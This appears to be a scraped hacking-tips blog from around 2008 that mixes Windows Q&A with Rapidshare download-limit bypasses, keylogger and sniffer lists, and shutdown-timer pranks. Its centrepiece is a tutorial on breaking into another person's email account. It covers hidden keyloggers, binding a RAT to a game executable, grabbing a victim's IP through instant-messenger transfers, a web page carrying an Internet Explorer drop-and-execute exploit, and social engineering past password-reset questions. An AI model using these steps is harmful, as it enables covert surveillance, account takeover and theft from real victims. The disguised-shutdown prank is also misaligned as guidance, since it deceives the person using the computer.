Go to Start ->Run > type cmd > enter.
Now you have a new window on desktop. On that type ping www. yahoo.com (OR ping www.xyz.com)

Visual Explanation:

Recovery:Repeat the first four steps and remove the last line that you have inserted and save it and restart browser. Now its normal,
you can try this trick on your fried's pc and public pc and force them to blink.

*Please do it on your own risk.

Rapidshare Hacking:Guide for Beginners

2008-01-03T15:59:00.000+05:30

Rapidshare is an excellent tool for sharing files all over but there are limitations for which we have worked out and here is the outcome.
Recently users have discovered ways of bypassing the download limits and skipping the waiting time. Here are a description of these methods.
1. Using JavaScript
*[ Javascript at present is not working because the bug is fixed]

Go to the page you want to download.
In the address bar put the following: javascript:alert(c=0)
Click OK .
Click OK to the pop-up box .
Enter the captcha .
Download Your File .

2. Requesting a new IP address from your ISP server.

Here's how to do it in windows:

Click Start
Click run
In the run box type cmd.exe and click OK
When the command prompt opens type the following.

ENTER after each new line.

ipconfig /flushdns
ipconfig /release
ipconfig /renew
exit

Erase your cookies in whatever browser you are using.Try the rapidshare download again!Note:If you ISP has provided you with a fixed IP then it may not work.But this usually works.

3. Use a proxy with SwitchProxy and Firefox

Download and install Firefox if you have not already.[Get it]
Add Greasemonkey if you don't have.
Download and install FoxyProxy Add-on.
Google for free proxies.
When you hit your download limit, clean your cookies and change your proxy.

*Clearing cookies and changing IP is important.
If you don't know how to install add -ons(Greasemonkey,FoxyProxy):

When the file is downloaded.Open Firefox the open the file from it:

Like this

4. Anonymous Clients
They are nothing but the clients that support you to be annonymous on the internet so as to prevent your identity by using proxies. But you on your part have to enter the IP and Port for the proxies.

JAP-is a program that can help you to prevent yout IP address by providing you to connect through proxies.

Get it * to use this you must know about proxies and to use it.

Ulrasurf- is a good program which can select proxies from itself also and you can do it mannually also and can have upto 3 parallel downloads from Rapidshare.

Get it

Get Proxy List-List of IP and Port numbers of the proxy servers.

Many more expert and professional tools for that will also be posted very soon.Please note that this article was only ment for beginners. We wan't everyone to learn everything so we take care of newbies also.

RapidShare Hack: NIC tricks and MAC cloning -bypass download limit

2008-01-01T14:54:00.000+05:30

This is how I get what I want from RapidShare without having to wait the 60+ minutes between downloads.

First off I have two methods I use. Granted this is still one file at a time, but you will not have to wait a hour+ between downloads.

First method is having two NICs and a hub.

My ISP uses static IPs .

Download a file from RapidShare.
Disable one nic and activate another after download is complete.
While NIC is activating restart Modem. IPS will assign a new IP.
Download another file.
When download is complete, create a bridge between NICs while restarting modem. Your ISP will assign a new IP.

This will get you three files in time limit set by RapidShare.

This method is not that high speed but is better then one file an hour.

Second method uses MAC cloaning application.

It will allow you to change your MAC address of your NIC.

Install MAC cloaning app (search Google from appz) Different appz have different procedures, read the help file to figure out what you are doing. I use SMAC, it is pretty simple.

Download file from RapidShare.
Change MAC address (don't change until the current file is finished downloadling)
Restart Modem, ISP will issue a new IP for new MAC address. Takes less then 15 seconds.
Download another file from RapidShare

I know these methods are not the greatest, but I have not found anything else that works as painless as these.

Top 3 Sniffers !!!

2007-12-27T16:16:00.000+05:30

In common industry usage, a sniffer (with lower case "s") is a program that monitors and analyzes network traffic, detecting bottlenecks and problems. Using this information, a network manager can keep traffic flowing efficiently. They can used to sniff passwords being typed on an intranet ....

Here are top 3 sniffers :-

Wireshark : Sniffing the glue that holds the Internet together ,Wireshark (known as Ethereal until a trademark dispute in Summer 2006) is a fantastic open source network protocol analyzer for Unix and Windows. It allows you to examine data from a live network or from a capture file on disk. You can interactively browse the capture data, delving down into just the level of packet detail you need.

Kismet : A powerful wireless sniffer
Kismet is an console (ncurses) based 802.11 layer2 wireless network detector, sniffer, and intrusion detection system. It identifies networks by passively sniffing (as opposed to more active tools such as NetStumbler), and can even decloak hidden (non-beaconing) networks if they are in use.

Cain and Abel : The top password recovery tool for Windows
UNIX users often smugly assert that the best free security tools support their platform first, and Windows ports are often an afterthought. They are usually right, but Cain & Abel is a glaring exception. This Windows-only password recovery tool handles an enormous variety of tasks. It can recover passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols.

Key Loggers - Latest And Free !!!!

2007-12-27T15:50:00.000+05:30

KeyLoggers, like the name suggests, are programs that record keystrokes from the computer keyboard and either logs it to the computer or sends it to its maker through a built in e-mail engine. Key logging allows a prospective hacker to gain access to the user name, passwords, and even id numbersentered into sensitive online bank accounts or passwords to remote control programs. Listed below are the top 9 key loggers :

Family Keylogger - 995kb

Golden Keylogger - 976kb

Personal Inspector - 970kb

Give Me Too - 1MB

AIM Logger - 1.65MB

ICQ Logger - 1.65 MB

Yahoo Logger - 1.65 MB

IRC Logger - 1.70 MB

Desktop-Spy - 700kb

BEWARE!

Introduction

I have written this tutorial to address a question that is all too commonly asked in any channel/chat room with "hack" in the title (asked in frequency to the point of harrassment really). So since this is a question that so many people ask, then I believe that there should at least be an answer available (regardless of the morality or "lameness" of such a question). So you as the reader are most likely reading this because you want to break into somebody's email account.

Well, you must understand that there is no 1-2-3 process to anything. I will give you options to consider when persuing such a task, but it will ultimately be up to you to do this. This is what you want to do, and no matter what sort of offers you throw up at anybody, nobody is going to do this for you. There is no program that is going to do all this for you. Also don't forget that nobody is going to hold your hand and lead you through this. I'm offering you as the reader suggestions for ways you can address this task, and that is about all the help you are going to get from anybody. So now that I've made all that clear, let's begin...

Things You Should Know

As I mentioned in the previous section, there is no program that will do all this for you. Almost all the crackers you see out there will not work, because services like Hotmail, Yahoo!, etc. have it set so that it will lock you from that account after a certain number of login attempts. There are some rare exceptions, like some crackers for Yahoo! that are made for cracking "illegal" accounts, but the thing you must understand about those types of crackers is that they are built to crack SPECIFICALLY "illegal" names. They can not be used to target a specific account on Yahoo!, so don't try to use them for this purpose. Another thing you must know if you ask this question in any "hacker" chat room/channel (which I highly discourage), or if you read something on this topic, and you hear that you have to email some address and in any way have to give up your password in the process, do NOT believe this. This is a con used to trick gullible people into handing over their passwords. So don't fall for this. Well that concludes this section, now lets get to what you want to know.

If You Have Physical Access

I will start off with options you have if you have physical access to the computer of the user that you are targeting, because it is a lot easier if you do. One option you have, that you will hear a lot if you ask this question, and anybody bothers to answer is to use a keylogger. A keylogger is an excellent option, and probably the easiest.
There are a lot of keyloggers out there, ranging from hardware keyloggers, to software keyloggers. For this task, you won't need to buy a hardware keylogger, since the only advantage to a hardware one is that you can grab passwords that are given to access a certain local user on the operating system used.
There are a lot of software keyloggers out there, and you can feel free to check out www.google.com to look at your options. I will go ahead and toss a couple of keyloggers out to try for those of you who seem allergic to search engines.

One option you have that is good for a free keylogger is Perfect Keylogger (which you can find at www.blazingtools.com/bpk.html). It works just fine, and has some nice options to keep it hidden from your average end user (computer user).

Another option you have, which is probably the best one you can get is Ghost Keylogger. It has a lot of options that will allow you to get the results of this program remotely (it will email you the results). However, this is not a free keylogger, so if you are wanting to get a copy you can look on the file sharing networks for a copy of the program, and the serial number for it (look on www.zeropaid.com for different file sharing clients you can try).

Once you have whatever keylogger you are going to use downloaded, just install it onto the computer you are wanting to monitor, and wait till next time they login to their email account. You will then have the password for the account. Another option you have if they use Outlook to access their email account, is to copy the *.dbx files for their Outlook account onto a floppy, and extract the emails at home (the dbx file stores the files stored in each Outlook folder on a given account, meaning the received and sent emails). When you are on the computer of the user you are targeting, look in

C:\Windows\ApplicationData\Identities\{ACblahblahblah}\Microsoft\ OutlookExpress\ and copy all the .dbx files onto a floppy. Then when you take the .dbx files back to your house, use DBXtract to extract the messages from these files. Check out the link below to download this program....

www.download-freeware-shareware.com/Freeware-Internet.php?Type=4171

Another option you have if you have physical access is to execute a RAT (Remote Administration Tool, you may know these programs as trojans) server on the computer. Of course, you do not have to have physical access to go this route, but it helps. What you must understand is that these tools are known threats, and the popular ones are quickly detected by antivirus software, and thusly taken care of. Even ISPs block incoming/outgoing traffic from the most popular ports used by these programs.

One newcomer in the RAT market that you should know about is Project Leviathan. This program uses already existing services to host it's service, instead of opening up an entirely new port. This allows it to hide itself from any port detection tool/software firewall that may be in place. This of course will not guarantee that it's server program will not be detected by any antivirus software used (actually, if the user has kept up with his/her signature tables, then it WILL be detected), but it will give you more of a chance of holding access. Search the engines to download Project Leviathan...

Once you have downloaded this tool, follow the instructions listed to install and use this program. However, since this RAT is a command line tool, you will still need another program set up on the user's computer in order to catch the desired password. For this, you can use Password Logger.. Google it!

Once you have this downloaded, set it up on the targeted computer. The program will remain hidden, while logging any types of passwords into a .lst file in the same directory that you executed it on. Therefore, you can access this *.lst file through Project Leviathan remotely in order to retrieve the user's email password remotely. Well that pretty much concludes it for this section. At this very moment I can practically hear a lot of you thinking to yourselves "But, but I don't HAVE physical access!". No reason to worry, that's what the next section is for...

If You Don't Have Physical Access

Well of course most of you out there will say that you don't have physical access to your target's computer. That's fine, there still are ways you can gain access into the desired email account without having to have any sort of physical access. For this we are going to go back onto the RAT topic, to explain methods that can be used to fool the user into running the server portion of the RAT (again, a RAT is a trojan) of your choice. Well first we will discuss the basic "send file" technique. This is simply convincing the user of the account you want to access to execute the server portion of your RAT.

To make this convincing, what you will want to do is bind the server.exe to another *.exe file in order to not raise any doubt when the program appears to do nothing when it is executed. For this you can use the tool like any exe file to bind it into another program (make it something like a small game)...

On a side note, make sure the RAT of your choice is a good choice. The program mentioned in the previous section would not be good in this case, since you do need physical access in order to set it up. You will have to find the program of your choice yourself (meaning please don't ask around for any, people consider that annoying behavior).

If you don't like any of those, I'm afraid you are going to have to go to www.google.com, and look for some yourself. Search for something like "optix pro download", or any specific trojan. If you look long enough, among all the virus notification/help pages, you should come across a site with a list of RATs for you to use (you are going to eventually have to learn how to navigate a search engine, you can't depend on handouts forever). Now back to the topic at hand, you will want to send this file to the specified user through an instant messaging service.

The reason why is that you need the ip address of the user in order to connect with the newly established server. Yahoo! Messenger, AOL Instant Messenger, it really doesn't matter. What you will do is send the file to the user. Now while this transfer is going on you will go to Start, then Run, type in "command", and press Enter. Once the msdos prompt is open, type in "netstat -n", and again, press enter. You will see a list of ip addresses from left to right. The address you will be looking for will be on the right, and the port it's established on will depend on the instant messaging service you are using. With MSN Messenger it will be remote port 6891, with AOL Instant Messenger it will be remote port 2153, with ICQ it will be remote port 1102, 2431, 2439, 2440, or 2476, and with Yahoo! Messenger it will be remote port 1614.

So once you spot the established connection with the file transfer remote port, then you will take note of the ip address associated with that port. So once the transfer is complete, and the user has executed the server portion of the RAT, then you can use the client portion to sniff out his/her password the next time he/she logs on to his/her account.

Don't think you can get him/her to accept a file from you? Can you at least get him/her to access a certain web page? Then maybe this next technique is something you should look into.

Currently Internet Explorer is quite vulnerable to an exploit that allows you to drop and execute .exe files via malicious scripting within an html document. For this what you will want to do is set up a web page, make sure to actually put something within this page so that the visitor doesn't get too entirely suspicious, and then imbed the below script into your web page so that the server portion of the RAT of your choice is dropped and executed onto the victim's computer...

While you are at it, you will also want to set up an ip logger on the web page so that you can grab the ip address of the user so that you can connect to the newly established server. Here is the source for a php ip logger you can use on your page...

http://www.planet-source-code.com/vb/scripts/ShowCode.asp?txtCodeId=539&lngWId=8

Just insert this source into your page along with the exedrop script, and you are set. Just convince the user to go to this page, and wait till the next time they type in their email password. However, what do you do if you can not contact this user in any way to do any of the above tricks. Well, then you definately have your work cut out for you. It doesn't make the task impossible, but it makes it pretty damn close to it. For this we will want to try info cracking. Info cracking is the process of trying to gather enough information on the user to go through the "Forgot my Password" page, to gain access into the email account.

If you happen to know the user personally, then it helps out a lot. You would then be able to get through the birthday/ zipcode questions with ease, and with a little mental backtracking, or social engineering (talking) out the information from the user be able to get past the secret question. However, what do you do if you do not have this luxury? Well in this case you will have to do a little detective work to fish out the information you need.

First off, if a profile is available for the user, look at the profile to see if you can get any information from the profile. Many times users will put information into their profile, that may help you with cracking the account through the "Forgot my Password" page (where they live, their age, their birthday if you are lucky). If no information is provided then what you will want to do is get on an account that the user does not know about, and try to strike conversation with the user. Just talk to him/her for a little while, and inconspicuously get this information out of the user (inconspicuously as in don't act like you are trying to put together a census, just make casual talk with the user and every once in a while ask questions like "When is your birthday?" and "Where do you live?", and then respond with simple, casual answers).

Once you have enough information to get past the first page, fill those parts out, and go to the next page to find out what the secret question is. Once you have the secret question, you will want to keep making casual conversation with the user and SLOWLY build up to asking a question that would help you answer the secret question. Don't try to get all the information you need in one night or you will look suspicious. Patience is a virtue when info cracking. Just slowly build up to this question. For example, if the secret question is something like "What is my dog's name?", then you would keep talking with the user, and eventually ask him/her "So how many dogs do you have? ...Oh, that's nice. What are their names?". The user will most likely not even remember anything about his/her secret question, so will most likely not find such a question suspicious at all (as long as you keep it inconspicuous). So there you go, with a few choice words and a little given time, you have just gotten the user to tell you everything you need to know to break into his/her email account. The problem with this method is that once you go through the "Forgot my Password" page, the password will be changed, and the new password will be given to you. This will of course deny the original user access to his/her own account. But the point of this task is to get YOU access, so it really shouldn't matter. Anyways, that concludes it for this tutorial. Good luck...

Happy Hacking!

The Windows Genuine Advantage Disadvantage

2007-12-26T12:35:00.000+05:30

Windows Genuine Advantage Disadvantage

Could Windows Genuine Advantage cause problems after I upgrade my hard drive?

It’s possible. Naming this legal spyware an “Advantage” is a bit like calling the official Soviet newspaper Pravda (“Truth”) — putting a word in the title doesn’t make it so. Windows Genuine Advantage checks your Windows installation to confirm that its license key matches your hardware. If the key turns out to be registered for a different computer, WGA objects and generally makes your life miserable.

In theory, WGA can distinguish between a new hard drive and a new PC. In reality, though, it sometimes gets confused and asks you to reactivate Windows— usually a painless chore. If reactivation fails, call Microsoft’s Activation hotline at 888-571-2048. To speak with a human being, say “agent” when asked which option you want, and don’t waver when the automated phone system attempts to convince you that you would be better off talking to a machine.

The hotline is open around the clock. Matters grow complicated if your copy of Windows came with your PC and if WGA thinks your new hard drive is a new computer. An “OEM” copy of Windows isn’t supposed to be transferred to a new PC. If you had multiple partitions on your old drive, create the same partitions, in the same order, on the new one. If that doesn’t work, call the vendor’s technical support. And don’t blame WGA if your computer won’t boot after a hard-drive up grade; your BIOS probably can’t recognize the new drive. See Techlog on page 15 for more on WGA.

CONNECTION MENACE

I recently tried to connect to the Internet by using Smart Link 56K Voice modem. The connection attempt failed and is showing errors. I’ve even tried to replace the modem but was unsuccessful. What should I do?

First, check to make sure that you are using the correct dial-up number. This error can also occur if you have installed your modem with an incorrect driver. Identify your modem chipset, PCI ID, manufacturer, and make sure you are using the correct driver. To do this, you can take out the modem and look at it. Somewhere on the largest chip, you’ll Do you hear the modem dial, connect and try to handshake? This is a pretty common issue with the onboard modems that come with most computers. Double check to make sure you have the correct drivers installed. Try using an external modem, if you can find one.

VIDEO WOES

I recently installed a new graphics card and I am able to play all high graphics game but not able to play any of my video files. My system hangs whenever I try to open any of the video files?

Try using the VLC Player. This is included in this month’s DVD, as part of the PC World SuperSuite. If your computer still hangs, you may need to uninstall all video codecs and video players, and try installing VLC after a restart.

SPEED IT UP!

How many times can Vista and XP be re installed and how can I speed up Vista which is slower in comparison with XP?

As long as your keep the hardware constant, Vista and XP can be installed any number of times. In case you have an OEM copy of the OS, you may run into an error with activation after 10 times, but all you need to do is call up Microsoft and explain the situation. They do not, in most cases, have a problem. Of course, all this assumes that you are using licensed copies of the OS. In case you are using a pirated version, this advice may not be valid.

On a powerful system, and as long as you have all the latest drivers and updates installed, Vista should run quite well. It is a fact that many people feel that Vista is slower than XP on the same hardware, so if it really bothers you, you can try turning off the Aero effects. But do remember that Vista is a much larger, and more complex OS than XP, and some amount of slowdown will be inevitable. The situation ought to improve as hardware manufacturers release updated drivers, and Microsoft releases updates, but as of now, there’s really nothing much you can do.

Do You Really Need Vista ??

2007-12-20T15:45:00.000+05:30

Do You Need Vista? Vista is unquestionably the future of Microsoft’s operating system.But even PC users who like Windows have been complaining about Vista’s performance.Vista running under Parallels Desktop for Mac is no speed demon and is occasionally unpredictable. It’s better under Boot Camp but still far from perfect.Windows XP, on the other hand, isn’t half bad, no matter how you run it on your Mac.It’s a more mature version of Windows and therefore less buggy. It’s also less laden with eye candy, so it’s faster than Vista.XP is also much better than Vista when it comes to virtualization. Because virtualization wasn’t a threat when XP was released many years ago, there’s no provision in the EULA that forbids you to run it under Parallels, Fusion, or whatever else you want to use. And even under virtualization,XP Home, XP Professional, and most Windows applications (save 3-D games and other 3-D–intensive applications,which perform poorly) run at nearnative speeds on a modern Intel Mac. People running Boot Camp will fi nd that XP is blazingly fast.

Make Windows Formatting CD in 5 steps

2007-12-18T18:43:00.000+05:30

Really Cool And Unique Method Just 5 Steps

Create Your Own Windows Bootable CD From Your Computer With Just 2 Softwares

All The Advanced Steps Have Been Removed

Enjoy The Simple Proccess Of Making A Bootable Windows Formatting Cd

Step 1:-
If your PC lacks a Windows CD, a folder named 'i386' containing the Windows installation files is probably in the root directory of drive C: or in your C:\Windows folder. Your system may have several i386 folders, but the one you want has a lot of files with extensions ending in underscores (_), along with the executable files expand.exe, regedit.exe, and winnt32.exe. Copy this folder onto a CD for safekeeping, though you'll use the version on the hard drive to actually reinstall Windows.

Step 2:-
Keep your 25-character Windows Product Key handy--you'll need it to reinstall the OS. The number is on the back of your PC, on the bottom of your notebook, or in some other hard-to-read spot; it may be listed in the documentation as well.To Find Your Windows Key download Keyfinder from here

Step 3:-
You'll also need a bootable CD for starting the install process. Bart Lagerweij's free PE Builder creates a CD-bootable version of XP called Bart's Pre-install Environment, or BartPE, from either a Windows CD or the i386 folder. Click here to download PE Builder.

Step 4:-
Open PE Builder's main dialog box and select the folder or drive containing your i386 folder, but not the folder itself. Check Create ISO image, click Burn to CD, and select your CD-RW drive from the Device drop-down menu.

Infinite points trick II
To do this trick, finish a game of solitaire with the time bonus option on. The cards will start bouncing. Click on the solitaire screen and the play again box will pop up. Select no, so the solitaire screen is just blank green. Use the instant win cheat (Alt+Shift+2) and you will recieve the time bonus you got last game will be added to your last game's score. For example, if your time bonus was 5000, and your final score was 6000, after using this glitch, you will have a score of 11000. This glitch can be used as many times as you want.

Make A Shutdown Timer !

2007-12-17T15:50:00.000+05:30

METHOD # 1

Right click on your desktop and choose "New=>shortcuts".
In the box that says "Type the location of the shortcut",
type in "shutdown -s -t 3600" without the quotation marks and click next. Note: 3600 are the amount of seconds before your computer shuts down. So , 60secs*60mins=3600secs.

Another addition u can do is displaying a message with it then add a bit more...
shutdown -s -t 3600 -c"This is the message" (use " " with c)

Make up a name for the shortcut and you're done.
You can change the icon by right clicking=>properities=>change icon=>browse

TO ABORT:
To make an abort key to stop the shutdown timer just create another shortcut and make
the "location of the shortcut" to " shutdown -a" without the quotes.

METHOD # 2

{EASIER THAN THE PREVIOUS ONE}
Here is another trick to shutdown at a specific time, for example you wish to shutdown at 11:35am. Type this in
start=>Run
Type Code: at 11:35 shutdown -s
TO ABORT:
Code: shutdown -a

Try this and think of what pranks you can play with your friends with this,like change its icon to internet Explorer and rename it and whenever one will open IE the windows will be shut down.
